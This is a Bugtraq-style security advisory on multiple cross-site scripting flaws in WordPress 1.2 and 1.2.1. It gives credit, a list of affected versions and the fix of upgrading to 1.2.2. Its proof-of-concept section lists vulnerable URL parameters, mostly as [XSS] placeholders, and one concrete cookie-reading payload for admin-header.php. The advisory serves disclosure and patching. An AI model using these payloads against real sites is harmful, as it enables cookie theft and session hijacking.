Wordpress Multiple Cross-Site Scripting Vulnerabilities

BID:11268

Info

Wordpress Multiple Cross-Site Scripting Vulnerabilities

Bugtraq ID: 11268
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Sep 28 2004 12:00AM
Updated: Sep 28 2004 12:00AM
Credit: Discovery is credited to Thomas Waldegger <[email protected]>.
Vulnerable: WordPress WordPress 1.2.1
+ Gentoo Linux
WordPress WordPress 1.2
+ Gentoo Linux 1.4
+ Gentoo Linux
Not Vulnerable: WordPress WordPress 1.2.2

Discussion

Wordpress Multiple Cross-Site Scripting Vulnerabilities

It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.

Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

Exploit / POC

Wordpress Multiple Cross-Site Scripting Vulnerabilities

No exploit is required.

The following proof of concept examples are available:
wp-login.php:
/wp-login.php?redirect_to=[XSS]
/wp-login.php?mode=bookmarklet&text=[XSS]
/wp-login.php?mode=bookmarklet&popupurl=[XSS]
/wp-login.php?mode=bookmarklet&popuptitle=[XSS]

admin-header.php:
/admin-header.php?redirect=1&redirect_url=%22;alert(document.cookie)//

bookmarklet.php:
/bookmarklet.php?popuptitle=[XSS]
/bookmarklet.php?popupurl=[XSS]
/bookmarklet.php?content=[XSS]
/bookmarklet.php?post_title=[XSS]

categories.php:
/categories.php?action=edit&cat_ID=[XSS]

edit.php:
/edit.php?s=[XSS]

edit-comments.php:
/edit-comments.php?s=[XSS]
/edit-comments.php?mode=[XSS]

Solution / Fix

Wordpress Multiple Cross-Site Scripting Vulnerabilities

Solution:
The vendor has released WordPress version 1.2.1 to address these issues.

Update: It is reported that version 1.2.1 did not completely fix these issues. It is reported that version 1.2.2 has been released, and that it fixes all issues described in this BID.


WordPress WordPress 1.2

WordPress WordPress 1.2.1

References

Wordpress Multiple Cross-Site Scripting Vulnerabilities

References:

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